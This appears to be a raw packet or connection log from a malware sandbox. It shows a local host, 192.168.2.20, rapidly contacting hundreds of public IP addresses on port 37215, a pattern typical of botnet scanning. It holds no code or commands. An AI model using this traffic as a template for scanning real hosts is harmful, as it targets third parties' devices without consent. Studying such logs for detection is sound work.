Jan 22, 2024 03:59:33.442591906 CET	58015	37215	192.168.2.20	45.130.220.248
Jan 22, 2024 03:59:33.442624092 CET	58015	37215	192.168.2.20	197.91.57.42
Jan 22, 2024 03:59:33.442632914 CET	58015	37215	192.168.2.20	122.28.48.75
Jan 22, 2024 03:59:33.442667961 CET	58015	37215	192.168.2.20	197.178.183.172
Jan 22, 2024 03:59:33.442694902 CET	58015	37215	192.168.2.20	197.53.26.117
Jan 22, 2024 03:59:33.442717075 CET	58015	37215	192.168.2.20	197.144.212.34
Jan 22, 2024 03:59:33.442749023 CET	58015	37215	192.168.2.20	196.21.23.118
Jan 22, 2024 03:59:33.442775965 CET	58015	37215	192.168.2.20	222.110.232.34
Jan 22, 2024 03:59:33.442806005 CET	58015	37215	192.168.2.20	197.239.165.71
Jan 22, 2024 03:59:33.442828894 CET	58015	37215	192.168.2.20	45.28.201.144
Jan 22, 2024 03:59:33.442847967 CET	58015	37215	192.168.2.20	156.229.212.56
Jan 22, 2024 03:59:33.442879915 CET	58015	37215	192.168.2.20	160.238.44.251
Jan 22, 2024 03:59:33.442923069 CET	58015	37215	192.168.2.20	190.248.190.32
Jan 22, 2024 03:59:33.443030119 CET	60354	37215	192.168.2.20	156.73.184.243
Jan 22, 2024 03:59:33.443173885 CET	41242	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.443206072 CET	41242	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.443274975 CET	41248	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.455732107 CET	37215	34828	92.94.107.197	192.168.2.20
Jan 22, 2024 03:59:33.455818892 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.456404924 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.456404924 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.456566095 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.472008944 CET	37215	58015	95.73.73.40	192.168.2.20
Jan 22, 2024 03:59:33.473424911 CET	37215	58015	41.180.145.5	192.168.2.20
Jan 22, 2024 03:59:33.480017900 CET	37215	58015	41.225.18.113	192.168.2.20
Jan 22, 2024 03:59:33.488298893 CET	37215	58015	156.238.150.149	192.168.2.20
Jan 22, 2024 03:59:33.505254030 CET	37215	58015	95.8.102.7	192.168.2.20
Jan 22, 2024 03:59:33.552756071 CET	37215	58015	154.38.149.112	192.168.2.20
Jan 22, 2024 03:59:33.556504011 CET	37215	58015	45.79.141.193	192.168.2.20
Jan 22, 2024 03:59:33.572741032 CET	37215	58015	107.175.58.37	192.168.2.20
Jan 22, 2024 03:59:33.583931923 CET	37215	58015	41.84.240.97	192.168.2.20
Jan 22, 2024 03:59:33.602262020 CET	37215	41242	45.42.90.229	192.168.2.20
Jan 22, 2024 03:59:33.609927893 CET	37215	58015	41.175.103.33	192.168.2.20
Jan 22, 2024 03:59:33.612782955 CET	37215	58015	120.221.129.186	192.168.2.20
Jan 22, 2024 03:59:33.614016056 CET	37215	58015	196.68.225.155	192.168.2.20
Jan 22, 2024 03:59:33.618808985 CET	37215	41248	45.42.90.229	192.168.2.20
Jan 22, 2024 03:59:33.619122982 CET	37215	41242	45.42.90.229	192.168.2.20
Jan 22, 2024 03:59:33.619182110 CET	37215	41242	45.42.90.229	192.168.2.20
Jan 22, 2024 03:59:33.619366884 CET	41242	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.632663012 CET	37215	58015	186.225.84.217	192.168.2.20
Jan 22, 2024 03:59:33.654431105 CET	37215	58015	222.98.71.136	192.168.2.20
Jan 22, 2024 03:59:33.660393000 CET	37215	34834	92.94.107.197	192.168.2.20
Jan 22, 2024 03:59:33.660556078 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.660595894 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.676557064 CET	37215	58015	41.140.65.143	192.168.2.20
Jan 22, 2024 03:59:33.715162039 CET	37215	58015	41.232.250.61	192.168.2.20
Jan 22, 2024 03:59:33.715347052 CET	58015	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:33.716191053 CET	37215	58015	190.192.47.98	192.168.2.20
Jan 22, 2024 03:59:33.742398977 CET	37215	58015	197.7.187.180	192.168.2.20
Jan 22, 2024 03:59:33.742464066 CET	58015	37215	192.168.2.20	197.7.187.180
Jan 22, 2024 03:59:33.742574930 CET	37215	58015	197.7.187.180	192.168.2.20
Jan 22, 2024 03:59:33.771462917 CET	37215	58015	122.231.76.88	192.168.2.20
Jan 22, 2024 03:59:33.823592901 CET	37215	58015	41.188.55.71	192.168.2.20
Jan 22, 2024 03:59:33.841639996 CET	37215	58015	121.141.62.190	192.168.2.20
Jan 22, 2024 03:59:33.858721018 CET	37215	58015	121.130.13.92	192.168.2.20
Jan 22, 2024 03:59:34.068552017 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:34.248588085 CET	40662	37215	192.168.2.20	156.73.166.227
Jan 22, 2024 03:59:34.272542953 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:34.440639019 CET	60354	37215	192.168.2.20	156.73.184.243
Jan 22, 2024 03:59:34.620529890 CET	37215	58015	197.128.110.244	192.168.2.20
Jan 22, 2024 03:59:34.662041903 CET	58015	37215	192.168.2.20	41.220.89.70
Jan 22, 2024 03:59:34.662050009 CET	58015	37215	192.168.2.20	156.90.95.115
Jan 22, 2024 03:59:34.662050962 CET	58015	37215	192.168.2.20	41.143.60.89
Jan 22, 2024 03:59:34.662067890 CET	58015	37215	192.168.2.20	197.165.125.165
Jan 22, 2024 03:59:34.662070990 CET	58015	37215	192.168.2.20	157.205.243.132
Jan 22, 2024 03:59:34.662070990 CET	58015	37215	192.168.2.20	41.125.18.61
Jan 22, 2024 03:59:34.662070990 CET	58015	37215	192.168.2.20	154.246.193.61
Jan 22, 2024 03:59:34.662117004 CET	58015	37215	192.168.2.20	156.175.134.121
Jan 22, 2024 03:59:34.662132025 CET	58015	37215	192.168.2.20	156.144.49.42
Jan 22, 2024 03:59:34.662182093 CET	58015	37215	192.168.2.20	156.220.208.113
Jan 22, 2024 03:59:34.662183046 CET	58015	37215	192.168.2.20	41.87.167.134
Jan 22, 2024 03:59:34.662197113 CET	58015	37215	192.168.2.20	156.74.226.105
Jan 22, 2024 03:59:34.662250042 CET	58015	37215	192.168.2.20	197.85.25.104
Jan 22, 2024 03:59:34.662250042 CET	58015	37215	192.168.2.20	92.100.244.195
Jan 22, 2024 03:59:34.662260056 CET	58015	37215	192.168.2.20	102.96.143.99
Jan 22, 2024 03:59:34.662262917 CET	58015	37215	192.168.2.20	156.237.27.235
Jan 22, 2024 03:59:34.662260056 CET	58015	37215	192.168.2.20	156.161.225.84
Jan 22, 2024 03:59:34.662260056 CET	58015	37215	192.168.2.20	181.226.186.246
Jan 22, 2024 03:59:34.662262917 CET	58015	37215	192.168.2.20	197.8.11.100
Jan 22, 2024 03:59:34.662262917 CET	58015	37215	192.168.2.20	41.222.143.186
Jan 22, 2024 03:59:34.662262917 CET	58015	37215	192.168.2.20	197.25.17.50
Jan 22, 2024 03:59:34.662262917 CET	58015	37215	192.168.2.20	197.250.143.217
Jan 22, 2024 03:59:34.662302017 CET	58015	37215	192.168.2.20	121.56.33.215
Jan 22, 2024 03:59:34.662319899 CET	58015	37215	192.168.2.20	197.238.209.148
Jan 22, 2024 03:59:34.662319899 CET	58015	37215	192.168.2.20	156.19.73.136
Jan 22, 2024 03:59:34.662348032 CET	58015	37215	192.168.2.20	197.249.147.100
Jan 22, 2024 03:59:34.662353039 CET	58015	37215	192.168.2.20	197.198.0.138
Jan 22, 2024 03:59:34.662348032 CET	58015	37215	192.168.2.20	41.126.67.240
Jan 22, 2024 03:59:34.662348032 CET	58015	37215	192.168.2.20	120.234.235.68
Jan 22, 2024 03:59:34.662381887 CET	58015	37215	192.168.2.20	41.243.212.200
Jan 22, 2024 03:59:34.662381887 CET	58015	37215	192.168.2.20	156.11.229.142
Jan 22, 2024 03:59:34.662431955 CET	58015	37215	192.168.2.20	102.152.253.4
Jan 22, 2024 03:59:34.662431955 CET	58015	37215	192.168.2.20	197.85.56.178
Jan 22, 2024 03:59:34.662441015 CET	58015	37215	192.168.2.20	156.167.139.52
Jan 22, 2024 03:59:34.662448883 CET	58015	37215	192.168.2.20	41.19.54.209
Jan 22, 2024 03:59:34.662483931 CET	58015	37215	192.168.2.20	157.143.184.25
Jan 22, 2024 03:59:34.662498951 CET	58015	37215	192.168.2.20	197.186.152.210
Jan 22, 2024 03:59:34.662499905 CET	58015	37215	192.168.2.20	41.65.150.8
Jan 22, 2024 03:59:34.662530899 CET	58015	37215	192.168.2.20	102.202.211.65
Jan 22, 2024 03:59:34.662535906 CET	58015	37215	192.168.2.20	157.217.3.169
Jan 22, 2024 03:59:34.662601948 CET	58015	37215	192.168.2.20	156.196.252.122
Jan 22, 2024 03:59:34.662658930 CET	58015	37215	192.168.2.20	156.46.68.32
Jan 22, 2024 03:59:34.662755013 CET	58015	37215	192.168.2.20	102.228.217.107
Jan 22, 2024 03:59:34.662828922 CET	58015	37215	192.168.2.20	41.91.207.202
Jan 22, 2024 03:59:34.662996054 CET	58015	37215	192.168.2.20	41.111.97.111
Jan 22, 2024 03:59:34.663032055 CET	58015	37215	192.168.2.20	197.146.46.247
Jan 22, 2024 03:59:34.663068056 CET	58015	37215	192.168.2.20	41.138.138.137
Jan 22, 2024 03:59:34.663140059 CET	58015	37215	192.168.2.20	156.238.75.163
Jan 22, 2024 03:59:34.663218975 CET	58015	37215	192.168.2.20	156.184.2.121
Jan 22, 2024 03:59:34.663264036 CET	58015	37215	192.168.2.20	156.169.11.101
Jan 22, 2024 03:59:34.663316965 CET	58015	37215	192.168.2.20	181.225.246.131
Jan 22, 2024 03:59:34.663377047 CET	58015	37215	192.168.2.20	222.28.197.40
Jan 22, 2024 03:59:34.663440943 CET	58015	37215	192.168.2.20	197.9.106.38
Jan 22, 2024 03:59:34.663516045 CET	58015	37215	192.168.2.20	41.147.69.101
Jan 22, 2024 03:59:34.663562059 CET	58015	37215	192.168.2.20	156.16.31.138
Jan 22, 2024 03:59:34.663623095 CET	58015	37215	192.168.2.20	197.58.5.71
Jan 22, 2024 03:59:34.663713932 CET	58015	37215	192.168.2.20	107.209.212.108
Jan 22, 2024 03:59:34.663737059 CET	58015	37215	192.168.2.20	196.114.176.140
Jan 22, 2024 03:59:34.663822889 CET	58015	37215	192.168.2.20	197.120.23.126
Jan 22, 2024 03:59:34.663889885 CET	58015	37215	192.168.2.20	156.163.39.15
Jan 22, 2024 03:59:34.663954020 CET	58015	37215	192.168.2.20	156.79.240.74
Jan 22, 2024 03:59:34.664024115 CET	58015	37215	192.168.2.20	197.18.31.89
Jan 22, 2024 03:59:34.664092064 CET	58015	37215	192.168.2.20	190.120.53.93
Jan 22, 2024 03:59:34.664130926 CET	58015	37215	192.168.2.20	197.97.41.151
Jan 22, 2024 03:59:34.664186001 CET	58015	37215	192.168.2.20	41.199.98.80
Jan 22, 2024 03:59:34.664212942 CET	58015	37215	192.168.2.20	156.103.139.11
Jan 22, 2024 03:59:34.664263010 CET	58015	37215	192.168.2.20	92.134.255.252
Jan 22, 2024 03:59:34.664273977 CET	58015	37215	192.168.2.20	156.112.152.229
Jan 22, 2024 03:59:34.664283037 CET	58015	37215	192.168.2.20	41.62.52.96
Jan 22, 2024 03:59:34.664309025 CET	58015	37215	192.168.2.20	41.158.4.92
Jan 22, 2024 03:59:34.664310932 CET	58015	37215	192.168.2.20	95.87.101.252
Jan 22, 2024 03:59:34.664335012 CET	58015	37215	192.168.2.20	94.98.244.142
Jan 22, 2024 03:59:34.664345026 CET	58015	37215	192.168.2.20	120.61.90.69
Jan 22, 2024 03:59:34.664361000 CET	58015	37215	192.168.2.20	160.123.61.85
Jan 22, 2024 03:59:34.664376020 CET	58015	37215	192.168.2.20	156.227.31.147
Jan 22, 2024 03:59:34.664382935 CET	58015	37215	192.168.2.20	102.249.204.7
Jan 22, 2024 03:59:34.664405107 CET	58015	37215	192.168.2.20	197.85.155.217
Jan 22, 2024 03:59:34.664427996 CET	58015	37215	192.168.2.20	41.253.176.37
Jan 22, 2024 03:59:34.664443970 CET	58015	37215	192.168.2.20	197.24.189.89
Jan 22, 2024 03:59:34.664453030 CET	58015	37215	192.168.2.20	41.139.183.79
Jan 22, 2024 03:59:34.664479017 CET	58015	37215	192.168.2.20	222.104.161.100
Jan 22, 2024 03:59:34.664484978 CET	58015	37215	192.168.2.20	138.144.233.118
Jan 22, 2024 03:59:34.664503098 CET	58015	37215	192.168.2.20	156.44.102.246
Jan 22, 2024 03:59:34.664525986 CET	58015	37215	192.168.2.20	156.191.231.238
Jan 22, 2024 03:59:34.664535046 CET	58015	37215	192.168.2.20	41.129.94.230
Jan 22, 2024 03:59:34.664558887 CET	58015	37215	192.168.2.20	197.0.120.113
Jan 22, 2024 03:59:34.664575100 CET	58015	37215	192.168.2.20	156.135.180.73
Jan 22, 2024 03:59:34.664582968 CET	58015	37215	192.168.2.20	41.105.9.226
Jan 22, 2024 03:59:34.664604902 CET	58015	37215	192.168.2.20	156.247.77.174
Jan 22, 2024 03:59:34.664617062 CET	58015	37215	192.168.2.20	156.32.35.97
Jan 22, 2024 03:59:34.664633036 CET	58015	37215	192.168.2.20	157.211.251.240
Jan 22, 2024 03:59:34.664659977 CET	58015	37215	192.168.2.20	197.131.149.98
Jan 22, 2024 03:59:34.664706945 CET	58015	37215	192.168.2.20	41.58.252.204
Jan 22, 2024 03:59:34.664756060 CET	58015	37215	192.168.2.20	94.186.29.66
Jan 22, 2024 03:59:34.664819956 CET	58015	37215	192.168.2.20	156.179.246.128
Jan 22, 2024 03:59:34.664872885 CET	58015	37215	192.168.2.20	181.231.33.166
Jan 22, 2024 03:59:34.664954901 CET	58015	37215	192.168.2.20	107.40.63.14
Jan 22, 2024 03:59:34.665033102 CET	58015	37215	192.168.2.20	157.28.169.7
Jan 22, 2024 03:59:34.665107965 CET	58015	37215	192.168.2.20	197.138.183.112
Jan 22, 2024 03:59:34.665172100 CET	58015	37215	192.168.2.20	37.72.162.29
Jan 22, 2024 03:59:34.665246010 CET	58015	37215	192.168.2.20	41.120.20.34
Jan 22, 2024 03:59:34.665303946 CET	58015	37215	192.168.2.20	156.101.123.142
Jan 22, 2024 03:59:34.665361881 CET	58015	37215	192.168.2.20	41.236.249.55
Jan 22, 2024 03:59:34.665421963 CET	58015	37215	192.168.2.20	41.16.76.220
Jan 22, 2024 03:59:34.665482044 CET	58015	37215	192.168.2.20	41.37.233.13
Jan 22, 2024 03:59:34.665539980 CET	58015	37215	192.168.2.20	197.234.136.140
Jan 22, 2024 03:59:34.665605068 CET	58015	37215	192.168.2.20	45.242.13.188
Jan 22, 2024 03:59:34.665653944 CET	58015	37215	192.168.2.20	222.156.238.138
Jan 22, 2024 03:59:34.665739059 CET	58015	37215	192.168.2.20	94.20.213.101
Jan 22, 2024 03:59:34.665781975 CET	58015	37215	192.168.2.20	41.105.100.194
Jan 22, 2024 03:59:34.665838957 CET	58015	37215	192.168.2.20	156.56.94.16
Jan 22, 2024 03:59:34.665925026 CET	58015	37215	192.168.2.20	156.202.19.138
Jan 22, 2024 03:59:34.665971041 CET	58015	37215	192.168.2.20	197.75.225.171
Jan 22, 2024 03:59:34.666043997 CET	58015	37215	192.168.2.20	156.16.164.204
Jan 22, 2024 03:59:34.666105032 CET	58015	37215	192.168.2.20	94.213.183.91
Jan 22, 2024 03:59:34.666163921 CET	58015	37215	192.168.2.20	37.49.84.8
Jan 22, 2024 03:59:34.666192055 CET	58015	37215	192.168.2.20	122.99.25.19
Jan 22, 2024 03:59:34.666214943 CET	58015	37215	192.168.2.20	156.103.202.3
Jan 22, 2024 03:59:34.666244030 CET	58015	37215	192.168.2.20	197.210.73.56
Jan 22, 2024 03:59:34.666289091 CET	58015	37215	192.168.2.20	107.151.198.92
Jan 22, 2024 03:59:34.666316986 CET	58015	37215	192.168.2.20	197.133.246.219
Jan 22, 2024 03:59:34.666340113 CET	58015	37215	192.168.2.20	197.178.75.170
Jan 22, 2024 03:59:34.666347980 CET	58015	37215	192.168.2.20	197.46.107.11
Jan 22, 2024 03:59:34.666378975 CET	58015	37215	192.168.2.20	102.144.135.8
Jan 22, 2024 03:59:34.666392088 CET	58015	37215	192.168.2.20	197.51.53.207
Jan 22, 2024 03:59:34.666410923 CET	58015	37215	192.168.2.20	197.48.213.213
Jan 22, 2024 03:59:34.666419029 CET	58015	37215	192.168.2.20	156.172.173.122
Jan 22, 2024 03:59:34.666459084 CET	58015	37215	192.168.2.20	107.193.1.106
Jan 22, 2024 03:59:34.666471958 CET	58015	37215	192.168.2.20	222.69.91.228
Jan 22, 2024 03:59:34.666488886 CET	58015	37215	192.168.2.20	156.206.157.202
Jan 22, 2024 03:59:34.666498899 CET	58015	37215	192.168.2.20	41.27.111.135
Jan 22, 2024 03:59:34.666517019 CET	58015	37215	192.168.2.20	107.223.151.215
Jan 22, 2024 03:59:34.666522026 CET	58015	37215	192.168.2.20	197.219.162.122
Jan 22, 2024 03:59:34.666547060 CET	58015	37215	192.168.2.20	92.103.176.216
Jan 22, 2024 03:59:34.666548014 CET	58015	37215	192.168.2.20	95.117.18.56
Jan 22, 2024 03:59:34.666572094 CET	58015	37215	192.168.2.20	156.162.31.234
Jan 22, 2024 03:59:34.666588068 CET	58015	37215	192.168.2.20	156.235.112.30
Jan 22, 2024 03:59:34.666601896 CET	58015	37215	192.168.2.20	102.210.73.213
Jan 22, 2024 03:59:34.666625977 CET	58015	37215	192.168.2.20	41.171.134.153
Jan 22, 2024 03:59:34.666654110 CET	58015	37215	192.168.2.20	41.62.83.8
Jan 22, 2024 03:59:34.666662931 CET	58015	37215	192.168.2.20	156.124.227.188
Jan 22, 2024 03:59:34.666666985 CET	58015	37215	192.168.2.20	107.224.103.70
Jan 22, 2024 03:59:34.666678905 CET	58015	37215	192.168.2.20	41.185.6.168
Jan 22, 2024 03:59:34.666696072 CET	58015	37215	192.168.2.20	156.207.111.98
Jan 22, 2024 03:59:34.666714907 CET	58015	37215	192.168.2.20	121.220.77.15
Jan 22, 2024 03:59:34.666738033 CET	58015	37215	192.168.2.20	41.165.229.35
Jan 22, 2024 03:59:34.666743994 CET	58015	37215	192.168.2.20	190.92.231.74
Jan 22, 2024 03:59:34.666759968 CET	58015	37215	192.168.2.20	156.162.46.10
Jan 22, 2024 03:59:34.666776896 CET	58015	37215	192.168.2.20	190.124.43.231
Jan 22, 2024 03:59:34.666800022 CET	58015	37215	192.168.2.20	197.222.99.203
Jan 22, 2024 03:59:34.666847944 CET	58015	37215	192.168.2.20	197.238.241.31
Jan 22, 2024 03:59:34.666904926 CET	58015	37215	192.168.2.20	138.196.174.121
Jan 22, 2024 03:59:34.666974068 CET	58015	37215	192.168.2.20	107.110.41.11
Jan 22, 2024 03:59:34.667033911 CET	58015	37215	192.168.2.20	95.137.163.161
Jan 22, 2024 03:59:34.667110920 CET	58015	37215	192.168.2.20	222.206.2.167
Jan 22, 2024 03:59:34.667179108 CET	58015	37215	192.168.2.20	156.69.162.51
Jan 22, 2024 03:59:34.667253971 CET	58015	37215	192.168.2.20	222.145.47.192
Jan 22, 2024 03:59:34.667309046 CET	58015	37215	192.168.2.20	156.33.162.47
Jan 22, 2024 03:59:34.667391062 CET	58015	37215	192.168.2.20	197.250.100.117
Jan 22, 2024 03:59:34.667454958 CET	58015	37215	192.168.2.20	122.215.126.117
Jan 22, 2024 03:59:34.667515039 CET	58015	37215	192.168.2.20	197.183.214.50
Jan 22, 2024 03:59:34.667563915 CET	58015	37215	192.168.2.20	95.124.80.122
Jan 22, 2024 03:59:34.667596102 CET	58015	37215	192.168.2.20	181.31.189.62
Jan 22, 2024 03:59:34.667598009 CET	58015	37215	192.168.2.20	41.187.211.88
Jan 22, 2024 03:59:34.667614937 CET	58015	37215	192.168.2.20	190.58.63.7
Jan 22, 2024 03:59:34.667624950 CET	58015	37215	192.168.2.20	156.229.112.115
Jan 22, 2024 03:59:34.667648077 CET	58015	37215	192.168.2.20	41.152.37.94
Jan 22, 2024 03:59:34.667663097 CET	58015	37215	192.168.2.20	121.63.80.163
Jan 22, 2024 03:59:34.667676926 CET	58015	37215	192.168.2.20	156.65.22.12
Jan 22, 2024 03:59:34.667701006 CET	58015	37215	192.168.2.20	197.79.186.47
Jan 22, 2024 03:59:34.667701960 CET	58015	37215	192.168.2.20	41.236.126.177
Jan 22, 2024 03:59:34.667727947 CET	58015	37215	192.168.2.20	45.216.186.207
Jan 22, 2024 03:59:34.667745113 CET	58015	37215	192.168.2.20	41.65.143.15
Jan 22, 2024 03:59:34.667761087 CET	58015	37215	192.168.2.20	156.143.229.199
Jan 22, 2024 03:59:34.667769909 CET	58015	37215	192.168.2.20	122.108.48.244
Jan 22, 2024 03:59:34.667793989 CET	58015	37215	192.168.2.20	197.34.110.100
Jan 22, 2024 03:59:34.667810917 CET	58015	37215	192.168.2.20	156.156.46.169
Jan 22, 2024 03:59:34.667819023 CET	58015	37215	192.168.2.20	41.182.71.52
Jan 22, 2024 03:59:34.667843103 CET	58015	37215	192.168.2.20	41.186.181.97
Jan 22, 2024 03:59:34.667850971 CET	58015	37215	192.168.2.20	95.227.116.125
Jan 22, 2024 03:59:34.667876005 CET	58015	37215	192.168.2.20	156.182.145.163
Jan 22, 2024 03:59:34.667890072 CET	58015	37215	192.168.2.20	45.162.230.87
Jan 22, 2024 03:59:34.667902946 CET	58015	37215	192.168.2.20	156.229.105.102
Jan 22, 2024 03:59:34.667922974 CET	58015	37215	192.168.2.20	156.251.84.242
Jan 22, 2024 03:59:34.667941093 CET	58015	37215	192.168.2.20	197.195.2.167
Jan 22, 2024 03:59:34.667948961 CET	58015	37215	192.168.2.20	156.198.187.50
Jan 22, 2024 03:59:34.667984962 CET	58015	37215	192.168.2.20	94.24.136.143
Jan 22, 2024 03:59:34.667984962 CET	58015	37215	192.168.2.20	41.4.102.211
Jan 22, 2024 03:59:34.667998075 CET	58015	37215	192.168.2.20	156.10.251.126
Jan 22, 2024 03:59:34.668023109 CET	58015	37215	192.168.2.20	156.172.94.212
Jan 22, 2024 03:59:34.668035030 CET	58015	37215	192.168.2.20	197.210.22.70
Jan 22, 2024 03:59:34.668055058 CET	58015	37215	192.168.2.20	156.131.204.57
Jan 22, 2024 03:59:34.668067932 CET	58015	37215	192.168.2.20	107.199.127.33
Jan 22, 2024 03:59:34.668087959 CET	58015	37215	192.168.2.20	197.244.213.166
Jan 22, 2024 03:59:34.668100119 CET	58015	37215	192.168.2.20	196.121.34.118
Jan 22, 2024 03:59:34.668111086 CET	58015	37215	192.168.2.20	186.41.234.209
Jan 22, 2024 03:59:34.668144941 CET	58015	37215	192.168.2.20	41.171.134.47
Jan 22, 2024 03:59:34.668167114 CET	58015	37215	192.168.2.20	197.193.163.251
Jan 22, 2024 03:59:34.668169975 CET	58015	37215	192.168.2.20	102.69.194.174
Jan 22, 2024 03:59:34.668195009 CET	58015	37215	192.168.2.20	197.29.203.206
Jan 22, 2024 03:59:34.668219090 CET	58015	37215	192.168.2.20	41.80.55.59
Jan 22, 2024 03:59:34.668241024 CET	58015	37215	192.168.2.20	41.131.214.40
Jan 22, 2024 03:59:34.668251991 CET	58015	37215	192.168.2.20	138.185.100.224
Jan 22, 2024 03:59:34.668277025 CET	58015	37215	192.168.2.20	41.82.232.178
Jan 22, 2024 03:59:34.668292046 CET	58015	37215	192.168.2.20	156.76.55.48
Jan 22, 2024 03:59:34.668303967 CET	58015	37215	192.168.2.20	41.110.164.237
Jan 22, 2024 03:59:34.668327093 CET	58015	37215	192.168.2.20	197.199.1.191
Jan 22, 2024 03:59:34.668343067 CET	58015	37215	192.168.2.20	157.251.83.142
Jan 22, 2024 03:59:34.668365955 CET	58015	37215	192.168.2.20	107.67.156.197
Jan 22, 2024 03:59:34.668369055 CET	58015	37215	192.168.2.20	181.173.110.105
Jan 22, 2024 03:59:34.668380022 CET	58015	37215	192.168.2.20	156.197.106.38
Jan 22, 2024 03:59:34.668427944 CET	58015	37215	192.168.2.20	156.246.193.172
Jan 22, 2024 03:59:34.668431044 CET	58015	37215	192.168.2.20	41.158.64.35
Jan 22, 2024 03:59:34.668457985 CET	58015	37215	192.168.2.20	196.63.14.232
Jan 22, 2024 03:59:34.668472052 CET	58015	37215	192.168.2.20	197.229.106.54
Jan 22, 2024 03:59:34.668488026 CET	58015	37215	192.168.2.20	156.120.46.152
Jan 22, 2024 03:59:34.668499947 CET	58015	37215	192.168.2.20	197.61.75.172
Jan 22, 2024 03:59:34.668521881 CET	58015	37215	192.168.2.20	41.246.216.194
Jan 22, 2024 03:59:34.668534040 CET	58015	37215	192.168.2.20	197.229.2.195
Jan 22, 2024 03:59:34.668551922 CET	58015	37215	192.168.2.20	156.0.10.24
Jan 22, 2024 03:59:34.668561935 CET	58015	37215	192.168.2.20	222.201.178.49
Jan 22, 2024 03:59:34.668591022 CET	58015	37215	192.168.2.20	156.226.200.198
Jan 22, 2024 03:59:34.668597937 CET	58015	37215	192.168.2.20	156.160.147.185
Jan 22, 2024 03:59:34.668618917 CET	58015	37215	192.168.2.20	196.1.240.51
Jan 22, 2024 03:59:34.668633938 CET	58015	37215	192.168.2.20	156.193.39.193
Jan 22, 2024 03:59:34.668648005 CET	58015	37215	192.168.2.20	190.131.222.234
Jan 22, 2024 03:59:34.668668032 CET	58015	37215	192.168.2.20	41.214.19.41
Jan 22, 2024 03:59:34.668687105 CET	58015	37215	192.168.2.20	41.71.89.139
Jan 22, 2024 03:59:34.668699980 CET	58015	37215	192.168.2.20	197.78.254.0
Jan 22, 2024 03:59:34.668721914 CET	58015	37215	192.168.2.20	41.33.51.209
Jan 22, 2024 03:59:34.668725014 CET	58015	37215	192.168.2.20	41.203.77.140
Jan 22, 2024 03:59:34.668750048 CET	58015	37215	192.168.2.20	41.26.9.54
Jan 22, 2024 03:59:34.668766975 CET	58015	37215	192.168.2.20	102.50.122.5
Jan 22, 2024 03:59:34.668777943 CET	58015	37215	192.168.2.20	197.85.100.86
Jan 22, 2024 03:59:34.668797970 CET	58015	37215	192.168.2.20	107.185.205.121
Jan 22, 2024 03:59:34.668824911 CET	58015	37215	192.168.2.20	197.203.38.48
Jan 22, 2024 03:59:34.668834925 CET	58015	37215	192.168.2.20	197.15.86.146
Jan 22, 2024 03:59:34.668849945 CET	58015	37215	192.168.2.20	41.214.180.250
Jan 22, 2024 03:59:34.668864965 CET	58015	37215	192.168.2.20	186.249.152.35
Jan 22, 2024 03:59:34.668874979 CET	58015	37215	192.168.2.20	41.233.56.31
Jan 22, 2024 03:59:34.668898106 CET	58015	37215	192.168.2.20	41.83.45.10
Jan 22, 2024 03:59:34.668906927 CET	58015	37215	192.168.2.20	196.116.209.96
Jan 22, 2024 03:59:34.668925047 CET	58015	37215	192.168.2.20	181.61.45.151
Jan 22, 2024 03:59:34.668940067 CET	58015	37215	192.168.2.20	41.164.69.134
Jan 22, 2024 03:59:34.668960094 CET	58015	37215	192.168.2.20	156.98.110.134
Jan 22, 2024 03:59:34.668977022 CET	58015	37215	192.168.2.20	197.119.210.203
Jan 22, 2024 03:59:34.668994904 CET	58015	37215	192.168.2.20	41.165.221.163
Jan 22, 2024 03:59:34.669032097 CET	58015	37215	192.168.2.20	197.22.125.190
Jan 22, 2024 03:59:34.669059992 CET	58015	37215	192.168.2.20	102.6.63.2
Jan 22, 2024 03:59:34.669122934 CET	58015	37215	192.168.2.20	41.209.240.182
Jan 22, 2024 03:59:34.669181108 CET	58015	37215	192.168.2.20	190.50.187.120
Jan 22, 2024 03:59:34.669256926 CET	58015	37215	192.168.2.20	41.161.55.138
Jan 22, 2024 03:59:34.669331074 CET	58015	37215	192.168.2.20	41.178.67.73
Jan 22, 2024 03:59:34.669397116 CET	58015	37215	192.168.2.20	41.44.172.73
Jan 22, 2024 03:59:34.669465065 CET	58015	37215	192.168.2.20	197.130.238.238
Jan 22, 2024 03:59:34.669542074 CET	58015	37215	192.168.2.20	120.102.224.97
Jan 22, 2024 03:59:34.669598103 CET	58015	37215	192.168.2.20	156.174.54.252
Jan 22, 2024 03:59:34.669660091 CET	58015	37215	192.168.2.20	181.248.19.22
Jan 22, 2024 03:59:34.669713020 CET	58015	37215	192.168.2.20	197.114.89.241
Jan 22, 2024 03:59:34.669773102 CET	58015	37215	192.168.2.20	156.42.116.194
Jan 22, 2024 03:59:34.669832945 CET	58015	37215	192.168.2.20	156.31.99.179
Jan 22, 2024 03:59:34.669914007 CET	58015	37215	192.168.2.20	94.237.228.206
Jan 22, 2024 03:59:34.669972897 CET	58015	37215	192.168.2.20	157.75.238.242
Jan 22, 2024 03:59:34.670038939 CET	58015	37215	192.168.2.20	190.202.88.232
Jan 22, 2024 03:59:34.670090914 CET	58015	37215	192.168.2.20	197.43.205.224
Jan 22, 2024 03:59:34.670155048 CET	58015	37215	192.168.2.20	156.40.59.76
Jan 22, 2024 03:59:34.670207977 CET	58015	37215	192.168.2.20	197.143.85.238
Jan 22, 2024 03:59:34.670281887 CET	58015	37215	192.168.2.20	181.162.195.83
Jan 22, 2024 03:59:34.670352936 CET	58015	37215	192.168.2.20	41.38.16.29
Jan 22, 2024 03:59:34.670433044 CET	58015	37215	192.168.2.20	222.46.188.215
Jan 22, 2024 03:59:34.670489073 CET	58015	37215	192.168.2.20	157.132.41.70
Jan 22, 2024 03:59:34.670522928 CET	58015	37215	192.168.2.20	120.138.11.30
Jan 22, 2024 03:59:34.670551062 CET	58015	37215	192.168.2.20	196.144.82.49
